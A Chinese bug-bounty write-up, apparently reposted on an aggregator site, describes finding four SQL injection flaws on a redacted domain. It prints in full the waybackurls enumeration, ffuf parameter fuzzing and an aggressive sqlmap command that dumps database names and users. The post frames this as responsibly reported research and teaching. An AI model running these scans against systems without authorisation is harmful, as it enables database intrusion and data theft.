栏目分类:
子分类:
返回
名师互学网用户登录
快速导航关闭
当前搜索
当前分类
子分类
实用工具
热门搜索
名师互学网 > IT > 系统运维 > 网络安全 > 系统安全

如何在几分钟内找到多个 SQL 注入漏洞

系统安全 更新时间: 发布时间: IT归档 最新发布 模块sitemap 名妆网 法律咨询 聚返吧 英语巴士网 伯小乐 网商动力


如何在几分钟内找到多个 SQL 注入漏洞

今天来分享一下我是如何用几分钟发现某个漏洞赏金的目标多个 SQL 注入漏洞的,接下来以目标域名 redacted.org 为例。

枚举阶段

首先我使用 waybackurls 工具查看目标网站上有哪些 URL,然后看到了很多 PHP 的文件,也许可以在其中找到 SQL 注入漏洞,使用命令过滤一些结果之后输出到文件:

waybackurls https://redacted.org/ | uro | grep “.php” > php-files.txt


如何在几分钟内找到多个 SQL 注入漏洞

查看输出的文件,发现了如图中的内容:


如何在几分钟内找到多个 SQL 注入漏洞

看文件名感觉似乎有戏,接下来需要找一些可用的参数,需要制作一个参数名字典然后暴力破解这些页面,搞起!


如何在几分钟内找到多个 SQL 注入漏洞

获取参数

我们基于之前输出的内容,将文件名和参数分离出来,然后去重:

cat php-files.txt| grep -i get | sed 's/.*.get//' | sort -u


如何在几分钟内找到多个 SQL 注入漏洞

接下来删除 php 后缀,得到一个以文件名为关键词的列表,只需在上一条命令后加上 cut -f1 -d 即可:


如何在几分钟内找到多个 SQL 注入漏洞

结果中有的有两个单词或者多个单词的组合,但是我不知道其中那个单词是参数,所以就想办法将其拆分,经过一顿搜索,发现可以用命令:

sed 's/[AZ]+/n&/g'


如何在几分钟内找到多个 SQL 注入漏洞

我认为参数一般都是小写,所以需要将所有大写字符转换为小写,且保留之前的内容:


如何在几分钟内找到多个 SQL 注入漏洞

接下来我们有了两个参数字典可用,然后使用工具 FFUF 来进行测试,先尝试用全是小写字符的字典:

ffuf -w lowercase-parameters.txt -u "https://redacted.org/searchProgressCommitment.php?FUZZ=5"

但是没有任何结果!

老实说,我很郁闷,但是突然想到一个方案,把请求的方法改成 POST 怎么样?命令如下:

ffuf -w lowercase-parameters.txt -X POST -d "FUZZ=5" -u "https://redacted.org/searchProgressCommitment.php"

结果得到了 commitment & id 参数。

接下来我可以对这些参数进行测试了,复制请求的数据包内容到文件中,丢给 sqlmap 去测。

漏洞利用

sqlmap 的命令如下:

sqlmap -r req3.txt -p commitment --force-ssl --level 5 --risk 3 --dbms=”MYSQL” --hostname --current-user --current-db --dbs --tamper=between --no-cast


如何在几分钟内找到多个 SQL 注入漏洞

漏洞测试成功,确实存在 SQL 注入漏洞;

接下来使用同样的方法,测试其他 URL ,结果我找到了三个同样存在 SQL 注入漏洞的地方。

第二个 SQLI:带有 id 参数的 ws_delComment.php。


如何在几分钟内找到多个 SQL 注入漏洞

第三个 SQLI:带有 target 参数的 getTargets.php。


如何在几分钟内找到多个 SQL 注入漏洞

第四个:mailing_lists.php 带 list 参数。


如何在几分钟内找到多个 SQL 注入漏洞

一共发现四个 SQL 注入,太棒了!

我向安全团队报告了所有 SQL 注入漏洞并审核通过,他们在积极解决问题,感谢大家的阅读。

转载请注明:文章转载自 www.mshxw.com
本文地址:https://www.mshxw.com/it/824086.html
我们一直用心在做
关于我们 文章归档 网站地图 联系我们

版权所有 (c)2021-2022 MSHXW.COM

ICP备案号:晋ICP备2021003244-6号